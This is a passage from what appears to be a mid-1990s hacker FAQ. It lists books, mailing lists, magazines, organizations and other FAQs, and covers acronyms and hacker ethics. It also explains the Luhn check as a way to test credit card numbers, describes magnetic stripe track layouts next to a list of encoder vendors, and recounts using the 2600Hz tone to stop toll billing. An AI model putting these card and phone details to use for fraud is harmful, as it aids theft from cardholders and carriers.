Publisher: John Wiley & Sons
Copyright Date: 1994
ISBN: 0-471-59756-2

Bruce Schneier's book replaces all other texts on
cryptography. If you are interested in cryptography, this is
a must read. This may be the first and last book on
cryptography you may ever need to buy.

Cryptography and Data Security
Author: Dorothy Denning
Publisher: Addison-Wesley Publishing Co.
Copyright Date: 1982
ISBN: 0-201-10150-5

Protect Your Privacy: A Guide for PGP Users
Author: William Stallings
Publisher: Prentice-Hall
Copyright Date: 1994
ISBN: 0-13-185596-4

Author: Kahn
Publisher: Simon and Schuster
Copyright Date:

Codebreakers: The Inside Story of Bletchley Park
Author: Francis Harry Hinsley and Alan Stripp
Publisher: Oxford University Press,
Copyright Date: 1993

Cryptanalysis, a study of ciphers and their solution
Author: Gaines, Helen Fouche
Publisher: Dover Publications
Copyright Date: 1956

N Computer Privacy Handbook
Author: Andre' Bacard
Publisher: Peachpit Press
Copyright Date: 1995
ISBN: 1-56609-171-3

N E-Mail Security with PGP and PEM
Author: Bruce Schneier
Publisher: John Wiley & Sons
Copyright Date: 1995
ISBN: 0-471-05318-X

N PGP: Pretty Good Privacy
Author: Simson Garfinkel
Publisher: O'Reilly & Associates, Inc.
Copyright Date: 1995
ISBN: 1-56592-098-8

Programmed Threats
The Little Black Book of Computer Viruses
Author: Mark Ludwig
Publisher: American Eagle Publications
Copyright Date: 1990
ISBN: 0-929408-02-0

N The Giant Black Book of Computer Viruses
Author: Mark Ludwig
Publisher: American Eagle Publications
Copyright Date: 1995

Computer Viruses, Artificial Life and Evolution
Author: Mark Ludwig
Publisher: American Eagle Publications
Copyright Date: 1993
ISBN: 0-929408-07-1

Computer Viruses, Worms, Data Diddlers, Killer Programs, and Other
Threats to Your System
Author: John McAfee and Colin Haynes
Publisher: St. Martin's Press
Copyright Date: 1989
ISBN: 0-312-03064-9 and 0-312-02889-X

The Virus Creation Labs: A Journey Into the Underground
Author: George Smith
Publisher: American Eagle Publications
Copyright Date: 1994
ISBN: 0-929408-09-8

U A Short Course on Computer Viruses
Author: Dr. Fred Cohen
Publisher: John Wiley & Sons
Copyright Date: 1994
ISBN: 0-471-00769-2

N Robert Slade's Guide to Computer Viruses
Author: Robert Slade
Publisher: Springer-Verlag
Copyright Date: 1994
ISBN: 0-387-94311-0 / 3-540-94311-0

Engineering and Operations in the Bell System
Author: R.F. Rey
Publisher: Bell Telephont Laboratories
Copyright Date: 1983
ISBN: 0-932764-04-5

Although hopelessly out of date, this book remains *THE* book
on telephony. This book is 100% Bell, and is loved by phreaks
the world over.

Telephony: Today and Tomorrow
Author: Dimitris N. Chorafas
Publisher: Prentice-Hall
Copyright Date: 1984
ISBN: 0-13-902700-9

The Telecommunications Fact Book and Illustrated Dictionary
Author: Ahmed S. Khan
Publisher: Delmar Publishers, Inc.
Copyright Date: 1992
ISBN: 0-8273-4615-8

I find this dictionary to be an excellent reference book on
telephony, and I recommend it to anyone with serious
intentions in the field.

Tandy/Radio Shack Cellular Hardware
Author: Judas Gerard and Damien Thorn
Publisher: Phoenix Rising Communications
Copyright Date: 1994

The Phone Book
Author: Carl Oppendahl
Publisher: Consumer Reports
Copyright Date:
ISBN: 0-89043-364-x

Listing of every cellular ID in the us, plus roaming ports,
and info numbers for each carrier.

Principles of Caller I.D.
Publisher: International MicroPower Corp.
Copyright Date:

Hacking History and Culture
The Hacker Crackdown: Law and Disorder on the Electronic Frontier
Author: Bruce Sterling
Publisher: Bantam Books
Copyright Date: 1982
ISBN: 0-553-56370-X

Bruce Sterling has recently released the book FREE to the net.
The book is much easier to read in print form, and the
paperback is only $5.99. Either way you read it, you will be
glad you did. Mr. Sterling is an excellent science fiction
author and has brought his talent with words to bear on the
hacking culture. A very enjoyable reading experience.

Author: Katie Hafner and John Markoff
Publisher: Simon and Schuster
Copyright Date: 1991
ISBN: 0-671-77879-X

The Cuckoo's Egg
Author: Cliff Stoll
Publisher: Simon and Schuster
Copyright Date: 1989
ISBN: 0-671-72688-9

Hackers: Heroes of the Computer Revolution
Author: Steven Levy
Publisher: Doubleday
Copyright Date: 1984
ISBN: 0-440-13495-6

The Hacker's Handbook
Author: Hugo Cornwall
Publisher: E. Arthur Brown Company
Copyright Date:
ISBN: 0-912579-06-4

Secrets of a Super Hacker
Author: The Knightmare
Publisher: Loompanics
Copyright Date: 1994
ISBN: 1-55950-106-5

The Knightmare is no super hacker. There is little or no real
information in this book. The Knightmare gives useful advice
like telling you not to dress up before going trashing.
The Knightmare's best hack is fooling Loompanics into
publishing this garbage.

The Day The Phones Stopped
Author: Leonard Lee
Publisher: Primus / Donald I Fine, Inc.
Copyright Date: 1992
ISBN: 1-55611-286-6

Total garbage. Paranoid delusions of a lunatic. Less factual
data that an average issue of the Enquirer.

Information Warfare
Author: Winn Swartau
Publisher: Thunder Mountain Press
Copyright Date: 1994
ISBN: 1-56025-080-1

An Illustrated Guide to the Techniques and Equipment of Electronic Warfare
Author: Doug Richardson
Publisher: Salamander Press
Copyright Date:
ISBN: 0-668-06497-8

10. What are some videos of interest to hackers?

'Unauthorized Access' by Annaliza Savage
$25 on VH S format in 38-min
Savage Productions
1803 Mission St., #406
Santa Cruz, CA 95060

Hacker's '95 - a Phon-E & R.F. Burns Production
See the video Emmanuel Goldstein thought would have the Feds knocking
at his door. Coverage of Summercon'95 Coverage of Defcon III The big Y
fiasco at Summercon PMF (narc) interviews Emmanuel Goldstein & Eric
BloodAxe. Trip to Area 51 and interview with Psyhospy Coverage of the
Secret Service briefing on Operation Cyber Snare (recent cell busts)
Talks on Crypto, HERF, the Feds, etc. All information is presented
for educational purposes only. Not for sale to government or law
enforcement organizations. Running time aproximately 90 minutes.
$25.00 NTSC VHS
$35.00 PAL/Secam VHS
Custom Video Productions

11. What are some mailing lists of interest to hackers?

Academic Firewalls
Registration Address: Send a message to majordomo@greatcircle.com
containing the line "subscribe firewalls user@host"

N The Alert
Registration Address: Send a message to request-alert@iss.net
containing the line "subscribe alert"

Reflector Address: bugtraq@fc.net
Registration Address: bugtraq-request@fc.net

Cert Tools
Reflector Address: cert-tools@cert.org
Registration Address: cert-tools-request@cert.org

Computers and Society
Reflector Address: Comp-Soc@limbo.intuitive.com
Registration Address: taylor@limbo.intuitive.com

Coordinated Feasibility Effort to Unravel State Data
Reflector Address: ldc-sw@cpsr.org
Registration Address:

CPSR Announcement List
Reflector Address: cpsr-announce@cpsr.org
Registration Address:

CPSR - Intellectual Property
Reflector Address: cpsr-int-prop@cpsr.org
Registration Address:

CPSR - Internet Library
Reflector Address: cpsr-library@cpsr.org
Registration Address:

N Cypherpunks
Registration Address: Send a message to majordomo@toad.com
containing the line "subscribe cypherpunks"

DefCon Announcement List
Registration Address: Send a message to majordomo@fc.net containing
the line "subscribe dc-announce"

DefCon Chat List
Registration Address: Send a message to majordomo@fc.net containing
the line "subscribe dc-stuff"

N Discount Long Distance Digest
Registration Address: Send a message to: dld-request@webcom.com
containing the line "subscribe"

Electronic Payment
Registration Address: e-payment@cc.bellcore.com

IDS (Intruder Detection Systems)
Registration Address: Send a message to majordomo@wyrm.cc.uow.edu.au
containing the line "subscribe ids"

N Information Warfare
Registration Address: E-mail iw@all.net with a request to be added.

N Linux-Alert
Registration Address: majordomo@linux.nrao.edu

N Linux-Security
Registration Address: majordomo@linux.nrao.edu

Macintosh Security
Reflector Address: mac-security@eclectic.com
Registration Address: mac-security-request@eclectic.com

NeXT Managers
Registration Address: next-managers-request@stolaf.edu

PGP3 announcement list
Registration Address: pgp-announce-request@lsd.com
Subject: Your Name <user@host>
Body: *ignored*

Registration Address: Send a message to listserv@netcom.com
containing the line "subscribe phiber-scream user@host"

phruwt-l (Macintosh H/P)
Registration Address: Send a message to filbert@netcom.com
with the subject "phruwt-l"

Reflector Address: rfc931-users@kramden.acf.nyu.edu
Registration Address: brnstnd@nyu.edu

RSA Users
Reflector Address: rsaref-users@rsa.com
Registration Address: rsaref-users-request@rsa.com

WWW Security
Registration Address: www-security@ns2.rutgers.edu

12. What are some print magazines of interest to hackers?

2600 - The Hacker Quarterly
E-mail addresses: info@2600.com - to get info on 2600
index@2600.com - to get a copy of our index
meetings@2600.com - for info on starting your own meeting
subs@2600.com -- for subscription problems
letters@2600.com -- to send us a letter
articles@2600.com -- to send us an article
2600@2600.com -- to send us a general message

Subscription Address: 2600 Subscription Dept
PO Box 752
Middle Island, NY 11953-0752

Letters and article submission address: 2600 Editorial Dept
PO Box 99
Middle Island, NY 11953-0099

Phone Number: (516)751-2600
Fax Number: (516)474-2677
Voice BBS: (516)473-2626

Subscriptions: United States: $21/yr individual, $50 corporate.
Overseas: $30/yr individual, $65 corporate.

Gray Areas
Gray Areas examines gray areas of law and morality and subject matter
which is illegal, immoral and/or controversial. Gray Areas explores
why hackers hack and puts hacking into a sociological framework of
deviant behavior.

E-Mail Address: grayarea@well.sf.ca.us
E-Mail Address: grayarea@netaxs.com

U.S. Mail Address: Gray Areas
PO Box 808
Broomall, PA 19008

Subscriptions: $26.00 4 issues first class
$34.00 4 issues foreign (shipped air mail)

Privacy Newsletter
Privacy Newsletter is a monthly newsletter devoted to showing
consumers how to get privacy and keep it.

E-Mail Address: privacy@interramp.com

Subscription Address: Privacy Newsletter
P.O. Box 8206
Philadelphia, PA 19101-8206

Subscriptions: $99/yr (US) $149/yr (Overseas)

Subscription Address: subscriptions@wired.com
or: Wired
PO Box 191826
San Francisco, CA 94119-9866

Letters and article submission address: guidelines@wired.com
or: Wired
544 Second Street
San Francisco, CA 94107-1427

Subscriptions: $39/yr (US) $64/yr (Canada/Mexico) $79/yr (Overseas)

Nuts & Volts
T& L Publications
430 Princeland Court
Corona, CA 91719
(800)783-4624 (Voice) (Subscription Only Order Line)
(909)371-8497 (Voice)
(909)371-3052 (Fax)
CIS: 74262,3664

Cybertek: The Cyberpunk Technical Journal
P.O. Box 64
Brewster, NY 10509

Frequency: Bimonthly
Domestic Subscription Rate: $15/year (6 issues)

5150 Fair Oaks Blvd. #101-348
Carmichael, CA 95608 USA

E-Mail: privateline@delphi.com

Subscriptions: $24 a year for six issues

Text of back issues are at the etext archive at Michigan. Gopher over
or ftp to: etext.archive.umich.edu/pub/Zines/PrivateLine

13. What are some e-zines of interest to hackers?

CoTNo: Communications of The New Order ftp.etext.org /pub/Zines/CoTNo
Empire Times ftp.etext.org /pub/Zines/Emptimes
FEH ftp.fc.net /pub/defcon/FEH
The Infinity Concept infonexus.com
Phrack ftp.fc.net /pub/phrack

14. What are some organizations of interest to hackers?

Computer Professionals for Social Responsibility (CPSR)
CPSR empowers computer professionals and computer users to advocate for
the responsible use of information technology and empowers all who use
computer technology to participate in the public debate. As technical
experts, CPSR members provide the public and policy makers with
realistic assessments of the power, promise, and limitations of computer
technology. As an organization of concerned citizens, CPSR directs
public attention to critical choices concerning the applications of
computing and how those choices affect society.

By matching unimpeachable technical information with policy development
savvy, CPSR uses minimum dollars to have maximum impact and encourages
broad public participation in the shaping of technology policy.

Every project we undertake is based on five principles:

* We foster and support public discussion of and public responsibility
for decisions involving the use of computers in systems critical to

* We work to dispel popular myths about the infallibility of
technological systems.

* We challenge the assumption that technology alone can solve political
and social problems.

* We critically examine social and technical issues within the computer
profession, nationally and internationally.

* We encourage the use of computer technology to improve the quality of

CPSR Membership Categories
50 Basic member
200 Supporting member
500 Sponsoring member
1000 Lifetime member
20 Student/low income member
50 Foreign subscriber
50 Library/institutional subscriber

CPSR National Office
P.O. Box 717
Palo Alto, CA 94301
415-322-3798 (FAX)
E-mail: cpsr@csli.stanford.edu

Electronic Frontier Foundation (EFF)
The Electronic Frontier Foundation (EFF) is dedicated to the pursuit
of policies and activities that will advance freedom and openness in
computer-based communications. It is a member-supported, nonprofit
group that grew from the conviction that a new public interest
organization was needed in the information age; that this organization
would enhance and protect the democratic potential of new computer
communications technology. From the beginning, the EFF determined to
become an organization that would combine technical, legal, and public
policy expertise, and would apply these skills to the myriad issues
and concerns that arise whenever a new communications medium is born.

Memberships are $20.00 per year for students, $40.00 per year for
regular members, and $100.00 per year for organizations.

The Electronic Frontier Foundation, Inc.
1001 G Street, NW
Suite 950 East
Washington, D.C. 20001
(202)544 9237
(202)547 5481 FAX
Internet: eff@eff.org

Free Software Foundation (FSF) and GNU

The Free Software Foundation is dedicated to eliminating restrictions
on people's right to use, copy, modify, and redistribute computer
programs. We promote the development and use of free software in all
areas using computers. Specifically, we are putting together a
complete, integrated software system named "GNU" ("GNU's Not Unix",
pronounced "guh-new") that will be upwardly compatible with Unix.
Most parts of this system are already being used and distributed.

The word "free" in our name refers to freedom, not price. You may or
may not pay money to get GNU software, but regardless you have two
specific freedoms once you get it: first, the freedom to copy a
program and give it away to your friends and co-workers; and second,
the freedom to change a program as you wish, by having full access to
source code. You can study the source and learn how such programs are
written. You may then be able to port it, improve it, and share your
changes with others. If you redistribute GNU software you may charge
a distribution fee or give it away, so long as you include the source
code and the GPL (GNU General Public License).

Free Software Foundation, Inc. Telephone: +1-617-876-3296
673 Massachusetts Avenue Fax: +1-617-492-9057
Cambridge, MA 02139-3309 USA Fax (in Japan): 0031-13-2473 (KDD)
Electronic mail: gnu@prep.ai.mit.edu 0066-3382-0158 (IDC)

GNU is to be a complete integrated computational environment:
everything you need to work with a computer, either as a programmer or
as a person in an office or home. The core is an operating system,
which consists of a central program called a kernel that runs the
other programs on the computer, and a large number of ancillary
programs for handling files, etc. The Free Software Foundation is
developing an advanced kernel called the Hurd.

A complete system has tools for programmers, such as compilers and
debuggers. It also has editors, sketchpads, calendars, calculators,
spreadsheets, databases, electronic mail readers, and Internet
navigators. The FSF already distributes most of the programs used in
an operating system, all the tools regularly used by programmers, and
much more.

The League for Programming Freedom (LPF)
The League for Programming Freedom is an organization of people who
oppose the attempt to monopolize common user interfaces through "look
and feel" copyright lawsuits. Some of us are programmers, who worry
that such monopolies will obstruct our work. Some of us are users,
who want new computer systems to be compatible with the interfaces we
know. Some are founders of hardware or software companies, such as
Richard P. Gabriel. Some of us are professors or researchers,
including John McCarthy, Marvin Minsky, Guy L. Steele, Jr., Robert S.
Boyer and Patrick Winston.

"Look and feel" lawsuits aim to create a new class of government-
enforced monopolies broader in scope than ever before. Such a system
of user-interface copyright would impose gratuitous incompatibility,
reduce competition, and stifle innovation.

We in the League hope to prevent these problems by preventing
user-interface copyright. The League is NOT opposed to copyright law
as it was understood until 1986 -- copyright on particular programs.
Our aim is to stop changes in the copyright system which would take
away programmers' traditional freedom to write new programs compatible
with existing programs and practices.

Annual dues for individual members are $42 for employed professionals,
$10.50 for students, and $21 for others. We appreciate activists, but
members who cannot contribute their time are also welcome.

To contact the League, phone (617) 243-4091, send Internet mail to the
address league@prep.ai.mit.edu, or write to:

League for Programming Freedom
1 Kendall Square #143
P.O. Box 9171
Cambridge, MA 02139 USA

Founded in 1989, SotMesc is dedicated to preserving the integrity and
cohesion of the computing society. By promoting computer education,
liberties and efficiency, we believe we can secure freedoms for all
computer users while retaining privacy.

SotMesc maintains the CSP Internet mailing list, the SotMesc
Scholarship Fund, and the SotMesc Newsletter.

The SotMESC is financed partly by membership fees, and donations, but
mostly by selling hacking, cracking, phreaking, electronics, internet,
and virus information and programs on disk and bound paper media.

SotMesc memberships are $20 to students and $40 to regular members.

P.O. Box 573
Long Beach, MS 39560

Computer Emergency Response Team (CERT

CERT is the Computer Emergency Response Team that was formed by the
Defense Advanced Research Projects Agency (DARPA) in November 1988 in
response to the needs exhibited during the Internet worm incident.
The CERT charter is to work with the Internet community to facilitate
its response to computer security events involving Internet hosts, to
take proactive steps to raise the community's awareness of computer
security issues, and to conduct research targeted at improving the
security of existing systems.

CERT products and services include 24-hour technical assistance for
responding to computer security incidents, product vulnerability
assistance, technical documents, and seminars. In addition, the team
maintains a number of mailing lists (including one for CERT
advisories) and provides an anonymous FTP server: cert.org
(, where security-related documents, past CERT
advisories, and tools are archived.

CERT contact information:

U.S. mail address
CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh, PA 15213-3890

Internet E-mail address

Telephone number
(412)268-7090 (24-hour hotline)
CERT Coordination Center personnel answer
7:30 a.m.- 6:00 p.m. EST(GMT-5)/EDT(GMT-4), on call for
emergencies during other hours.

FAX number

15. What are some radio programs of interest to hackers?

Off The Hook New York 99.5 FM Tue 8pm EST
Full Disclosure Live Short Wave WWCR 5065 khz Sun 8pm EST
Full Disclosure Live Oil City, PA WOYL AM-1340 Sun 8pm EST
Full Disclosure Live Satellite Telstar 302 (T2), Ch 21, 5.8 Sun 8pm EST

16. What are other FAQ's of interest to hackers?

Frequently Asked Questions "Hacking Novell Netware"
Author: Simple Nomad <sn@spyder.org>
ftp: jumper.mcc.ac.uk /pub/security/netware/faq.zip
ftp: ftp.fastlane.net /pub/nomad/nw/faq.zip
ftp: ftp.best.com /pub/almcepud/hacks/faq.zip

The PGP Attack FAQ
Author: Route [daemon9@netcom.com / route@infonexus.com]
ftp: infonexus.com /pub/Philes/Cryptography/PGPattackFAQ.txt.gz

Mac Hack FAQ: Defeating Security
Author: AX1P (an149689@anon.penet.fi)

Frequently Asked Questions About Red Boxing
Author: Mr. Sandman (an132432@anon.penet.fi)

VMS FAQ (Frequently Ask Questions)
Author: The Beaver (beaver@upperdck.blkbox.com)

Anonymous FTP FAQ
Author: Christopher Klaus <cklaus@iss.net> of Internet Security Systems, Inc.
ftp: ftp.iss.net /pub/faq/anonftp

Compromise FAQ: What if your Machines are Compromised by an Intruder
Author: Christopher Klaus <cklaus@iss.net> of Internet Security Systems, Inc.
ftp: ftp.iss.net /pub/faq/compromise

Security Patches FAQ
Author: Christopher Klaus <cklaus@iss.net> of Internet Security Systems, Inc.
ftp: ftp.iss.net /pub/faq/patch

Sniffer FAQ
Author: Christopher Klaus <cklaus@iss.net> of Internet Security Systems, Inc.
ftp: ftp.iss.net /pub/faq/sniff

Vendor Security Contacts: Reporting Vulnerabilities and Obtaining New Patches
Author: Christopher Klaus <cklaus@iss.net> of Internet Security Systems, Inc.
ftp: ftp.iss.net /pub/faq/vendor

Cryptography FAQ
Author: The Crypt Cabal
ftp: rtfm.mit.edu /pub/usenet-by-group/sci.crypt/

Firewalls FAQ
Author: Marcus J. Ranum (mjr@ss1.lightspeed.net)
ftp: rtfm.mit.edu /pub/usenet-by-group/comp.security.misc/

Buying a Used Scanner Radio
Author: parnass@att.com (Bob Parnass, AJ9S)
ftp: rtfm.mit.edu /pub/usenet-by-group/rec.radio.scanner/

How to Find Scanner Frequencies
Author: parnass@att.com (Bob Parnass, AJ9S)
ftp: rtfm.mit.edu /pub/usenet-by-group/rec.radio.scanner/

Introduction to Scanning
Author: parnass@att.com (Bob Parnass, AJ9S)
ftp: rtfm.mit.edu /pub/usenet-by-group/rec.radio.scanner/

Low Power Broadcasting FAQ
Author: Rick Harrison.
ftp: rtfm.mit.edu /pub/usenet-by-group/alt.radio.pirate/

RSA Cryptography Today FAQ
Author: Paul Fahn
ftp: rtfm.mit.edu /pub/usenet-by-group/sci.crypt/

VIRUS-L comp.virus Frequently Asked Questions (FAQ)
Author: Kenneth R. van Wyk <krvw@cert.org>
ftp: rtfm.mit.edu /pub/usenet-by-group/comp.virus/

Where to get the latest PGP (Pretty Good Privacy) FAQ
Author: mpj@csn.net (Michael Johnson)
ftp: rtfm.mit.edu /pub/usenet-by-group/alt.security.pgp/

alt.locksmithing answers to Frequently Asked Questions (FAQ)
Author: spike@indra.com (Joe Ilacqua)
ftp: rtfm.mit.edu /pub/usenet-by-group/alt.locksmithing/

comp.os.netware.security FAQ
Author: Fauzan Mirza <F.U.Mirza@sheffield.ac.uk>
ftp: rtfm.mit.edu /pub/usenet-by-group/comp.os.netware.security/

rec.pyrotechnics FAQ
Author: zoz@cs.adelaide.edu.au (Hans Josef Wagemueller)
ftp: rtfm.mit.edu /pub/usenet-by-group/rec.pyrotechnics/

17. Where can I purchase a magnetic stripe encoder/decoder?

CPU Advance
PO Box 2434
Harwood Station
Littleton, MA 01460
(508)624-4819 (Fax)

Omron Electronics, Inc.
One East Commerce Drive
Schaumburg, IL 60173
(800)556-6766 (Voice)
(708)843-7787 (Fax)

Security Photo Corporation
1051 Commonwealth Avenue
Boston, MA 02215
(800)533-1162 (Voice)
(617)783-3200 (Voice)
(617)783-1966 (Voice)

Timeline Inc,
23605 Telo Avenue
Torrence, CA 90505
(800)872-8878 (Voice)
(800)223-9977 (Voice)

2300 Zanker Road
San Jose CA 95131
(408) 943-9774 Voice
(408) 943-9776 Fax
(408) 943-0622 BBS
Part Number: 92U067

Atalla Corp
San Jose, CA
(408) 435-8850

18. What are the rainbow books and how can I get them?

Orange Book
DoD 5200.28-STD
Department of Defense Trusted Computer System Evaluation Criteria

Green Book
Department of Defense Password Management Guideline

Yellow Book
Computer Security Requirements -- Guidance for Applying the Department
of Defense Trusted Computer System Evaluation Criteria in Specific

Yellow Book
Technical Rationale Behind CSC-STD-003-85: Computer Security
Requirements. Guidance for Applying the Department of Defense Trusted
Computer System Evaluation Criteria in Specific Environments.

Tan Book
A Guide to Understanding Audit in Trusted Systems

Bright Blue Book
Trusted Product Evaluation - A Guide for Vendors

Neon Orange Book
A Guide to Understanding Discretionary Access Control in Trusted

Teal Green Book
Glossary of Computer Security Terms

Red Book
Trusted Network Interpretation of the Trusted Computer System
Evaluation Criteria

Orange Book
A Guide to Understanding Configuration Management in Trusted Systems

Burgundy Book
A Guide to Understanding Design Documentation in Trusted Systems

Dark Lavender Book
A Guide to Understanding Trusted Distribution in Trusted Systems

Venice Blue Book
Computer Security Subsystem Interpretation of the Trusted Computer
System Evaluation Criteria

Aqua Book
A Guide to Understanding Security Modeling in Trusted Systems

Dark Red Book
Trusted Network Interpretation Environments Guideline -- Guidance for
Applying the Trusted Network Interpretation

Pink Book
Rating Maintenance Phase -- Program Document

Purple Book
Guidelines for Formal Verification Systems

Brown Book
A Guide to Understanding Trusted Facility Management

Yellow-Green Book
Guidelines for Writing Trusted Facility Manuals

Light Blue
A Guide to Understanding Identification and Authentication in Trusted

Light Blue Book
A Guide to Understanding Object Reuse in Trusted Systems

Blue Book
Trusted Product Evaluation Questionnaire

Gray Book
Trusted Unix Working Group (TRUSIX) Rationale for Selecting
Access Control List Features for the Unix System

Lavender Book
Trusted Data Base Management System Interpretation of the Trusted
Computer System Evaluation Criteria

Yellow Book
A Guide to Understanding Trusted Recovery in Trusted Systems

Bright Orange Book
A Guide to Understandng Security Testing and Test Documentation in
Trusted Systems

Purple Book
NCSC-TG-024 (Volume 1/4)
A Guide to Procurement of Trusted Systems: An Introduction to
Procurement Initiators on Computer Security Requirements

Purple Book
NCSC-TG-024 (Volume 2/4)
A Guide to Procurement of Trusted Systems: Language for RFP
Specifications and Statements of Work - An Aid to Procurement

Purple Book
NCSC-TG-024 (Volume 3/4)
A Guide to Procurement of Trusted Systems: Computer Security Contract
Data Requirements List and Data Item Description Tutorial

+Purple Book
+NCSC-TG-024 (Volume 4/4)
+A Guide to Procurement of Trusted Systems: How to Evaluate a Bidder's
+Proposal Document - An Aid to Procurement Initiators and Contractors

Green Book
A Guide to Understanding Data Remanence in Automated Information

Hot Peach Book
A Guide to Writing the Security Features User's Guide for Trusted Systems

Turquiose Book
A Guide to Understanding Information System Security Officer
Responsibilities for Automated Information Systems

Violet Book
Assessing Controlled Access Protection

Blue Book
Introduction to Certification and Accreditation

Light Pink Book
A Guide to Understanding Covert Channel Analysis of Trusted Systems

C1 Technical Report-001
Computer Viruses: Prevention, Detection, and Treatment

*C Technical Report 79-91
*Integrity in Automated Information Systems

*C Technical Report 39-92
*The Design and Evaluation of INFOSEC systems: The Computer Security
*Contributions to the Composition Discussion

Advisory Memorandum on Office Automation Security Guideline


You can get your own free copy of any or all of the books by writing
or calling:

INFOSEC Awareness Division
Fort George G. Meade, MD 20755-6000

Barbara Keller
(410) 766-8729

If you ask to be put on the mailing list, you'll get a copy of each new
book as it comes out (typically a couple a year).

[* == I have not personally seen this book]
[+ == I have not personally seen this book, and I believe it may not]
[ be available]

Section E: 2600


01. What is alt.2600?

Alt.2600 is a Usenet newsgroup for discussion of material relating to
2600 Magazine, the hacker quarterly. It is NOT for the Atari 2600
game machine. Len@netsys.com created the group on Emmanuel
Goldstein's recommendation. Emmanuel is the editor/publisher of 2600
Magazine. Following the barrage of postings about the Atari machine to
alt.2600, an alt.atari.2600 was created to divert all of the atari
traffic from alt.2600. Atari 2600 people are advised to hie over to

02. What does "2600" mean?

2600Hz was a tone that was used by early phone phreaks (or
phreakers) in the 80's, and some currently. If the tone was sent down the
line at the proper time, one could get away with all sorts of fun stuff.

A note from Emmanuel Goldstein:

"The Atari 2600 has NOTHING to do with blue boxes or telephones
or the 2600 hertz tone. The 2600 hertz tone was simply the first
step towards exploring the network. If you were successful at
getting a toll call to drop, then billing would stop at that
point but there would be billing for the number already dialed
up until the point of seizure. 800 numbers and long distance
information were both free in the past and records of who called
what were either non-existent or very obscure with regards to
these numbers. This, naturally, made them more popular than
numbers that showed up on a bill, even if it was only for
a minute. Today, many 800 numbers go overseas, which provides
a quick and free way into another country's phone system
which may be more open for exploration."

03. Are there on-line versions of 2600 available?


04. I can't find 2600 at any bookstores. What can I do?

Subscribe. Or, let 2600 know via the subscription address that you
think 2600 should be in the bookstore. Be sure to include the
bookstores name and address.

05. Why does 2600 cost more to subscribe to than to buy at a newsstand?

A note from Emmanuel Goldstein:

We've been selling 2600 at the same newsstand price ($4) since 1988
and we hope to keep it at that price for as long as we can get away
with it. At the same time, $21 is about the right price to cover
subscriber costs, including postage and record keeping, etc. People
who subscribe don't have to worry about finding an issue someplace,
they tend to get issues several weeks before the newsstands get
them, and they can take out free ads in the 2600 Marketplace.

This is not uncommon in the publishing industry. The NY Times, for
example, costs $156.50 at the newsstands, and $234.75 delivered to your

Section F: Miscellaneous


01. What does XXX stand for?

TLA Three Letter Acronym

ACL Access Control List
PIN Personal Identification Number
TCB Trusted Computing Base

ALRU Automatic Line Record Update
AN Associated Number
ARSB Automated Repair Service Bureau
ATH Abbreviated Trouble History
BOC Bell Operating Company
BOR Basic Output Report
BOSS Business Office Servicing System
CA Cable
COE Central Office Equipment
COSMOS Computer System for Main Frame Operations
CMC Construction Maintenance Center
CNID Calling Number IDentification
CO Central Office
COCOT Customer Owned Coin Operated Telephone
CRSAB Centralized Repair Service Answering Bureau
DID Direct Inbound Dialing
DDD Direct Distance Dialing
ECC Enter Cable Change
LD Long Distance
LMOS Loop Maintenance Operations System
MLT Mechanized Loop Testing
NPA Numbering Plan Area
PBX Private Branch Exchange
POTS Plain Old Telephone Service
RBOC Regional Bell Operating Company
RSB Repair Service Bureau
SS Special Service
TAS Telephone Answering Service
TH Trouble History
TREAT Trouble Report Evaluation and Analysis Tool

LOD Legion of Doom
HFC Hell Fire Club
TNO The New Order

ACiD Ansi Creators in Demand
CCi Cybercrime International
FLT Fairlight
iCE Insane Creators Enterprise
iNC International Network of Crackers
NTA The Nocturnal Trading Alliance
PDX Paradox
PE Public Enemy
PSY Psychose
QTX Quartex
RZR Razor (1911)
S!P Supr!se Productions
TDT The Dream Team
THG The Humble Guys
THP The Hill People
TRSI Tristar Red Sector Inc.
UUDW Union of United Death Workers

02. How do I determine if I have a valid credit card number?

Credit cards use the Luhn Check Digit Algorithm. The main purpose of
this algorithm is to catch data entry errors, but it does double duty
here as a weak security tool.

For a card with an even number of digits, double every odd numbered
digit and subtract 9 if the product is greater than 9. Add up all the
even digits as well as the doubled-odd digits, and the result must be
a multiple of 10 or it's not a valid card. If the card has an odd
number of digits, perform the same addition doubling the even numbered
digits instead.

03. What is the layout of data on magnetic stripe cards?

A standard card may have any of three tracks, or a combination of these

Track 1 was the first track standardized. It was developed by the
International Air Transportation Association (IATA) and is still
reserved for their use. It is 210bpi with room for 79 characters. It
includes the primary account number (up to 18 digits) and the name (up
to 26 alphanumeric characters).

Track 2 was developed by the American Bankers Association (ABA) for
on-line financial transactions. It is 75bpi with room for 40 numeric
characters. It includes the account number (up to 19 digits).

Track 3 is also used for financial transactions. The difference is its
read/write ability. It is 210bpi with room for 107 numeric digits. It
includes an enciphered PIN, country code, currency units, amount
authorized, subsidiary account information and other restrictions.

For more information, read the ANSI/ISO 7811/1-5 standard. This
document is available from the American Bankers Association.

04. What are the ethics of hacking?

An excerpt from: Hackers: Heroes of the Computer Revolution
by Steven Levy

Access to computers -- and anything which might teach you
something about the way the world works -- should be unlimited
and total. Always yield to the Hands-On imperative.

All information should be free.

Mistrust Authority. Promote Decentralization.

Hackers should be judged by their hacking, not bogus criteria
such as degrees, age, race, or position.

You can create art and beauty on a computer.

Computers can change your life for the better.

05. Where can I get a copy of the alt.2600/#hack FAQ?

Get it on FTP at:
rahul.net /pub/lps/sysadmin/
rtfm.mit.edu /pub/usenet-by-group/alt.2600
clark.net /pub/jcase/

Get it on the World Wide Web at:

Get it on my BBS:
Hacker's Haven (303)343-4053

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